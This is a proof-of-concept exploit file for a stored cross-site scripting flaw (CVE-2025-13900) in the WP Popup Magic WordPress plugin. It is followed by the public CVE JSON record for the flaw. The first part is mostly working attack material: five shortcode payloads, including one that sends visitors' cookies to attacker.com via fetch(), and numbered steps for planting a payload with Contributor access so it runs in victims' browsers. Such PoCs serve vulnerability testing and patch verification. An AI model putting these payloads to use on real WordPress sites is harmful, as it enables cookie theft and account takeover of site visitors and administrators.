CVE-2025-13900

<!-- CVE-2025-13900 PoC: Stored XSS via [wppum_end] shortcode --> <!-- Author: Generated for CVE-2025-13900 Target: WordPress WP Popup Magic Plugin <= 1.0.0 Attack Vector: Stored XSS via name parameter of [wppum_end] shortcode Requirements: Contributor-level access or higher --> <!-- Basic XSS PoC --> [wppum_end name='"><script>alert(document.cookie)</script>'] <!-- Event Handler Based XSS PoC --> [wppum_end name='" onmouseover="alert(String.fromCharCode(88,83,83))" x='] <!-- Image Tag Based XSS PoC --> [wppum_end name='"><img src=x onerror=alert(document.domain)>'] <!-- Steal Cookies PoC --> [wppum_end name='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Auto-execute PoC using onload --> [wppum_end name='"><svg/onload=alert(localStorage.getItem("wp_auth"))>'] <!-- Usage Instructions: 1. Login to WordPress with Contributor or higher privileges 2. Edit any post/page or create new content 3. Insert one of the above shortcodes in the editor 4. Save/publish the post 5. Visit the page to trigger the XSS payload 6. The JavaScript will execute in the context of the victim's browser -->

{"cve": {"id": "CVE-2025-13900", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:46.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Popup Magic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'name' parameter of the [wppum_end] shortcode in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP Popup Magic para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'name' del shortcode [wppum_end] en todas las versiones hasta la 1.0.0, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wppopupmagic/tags/1.0.0/class-wppum-frontend.php#L622", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wppopupmagic/trunk/class-wppum-frontend.php#L622", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c11a5f07-de89-47ec-a92e-2adc75965648?source=cve", "source": "[email protected]"}]}}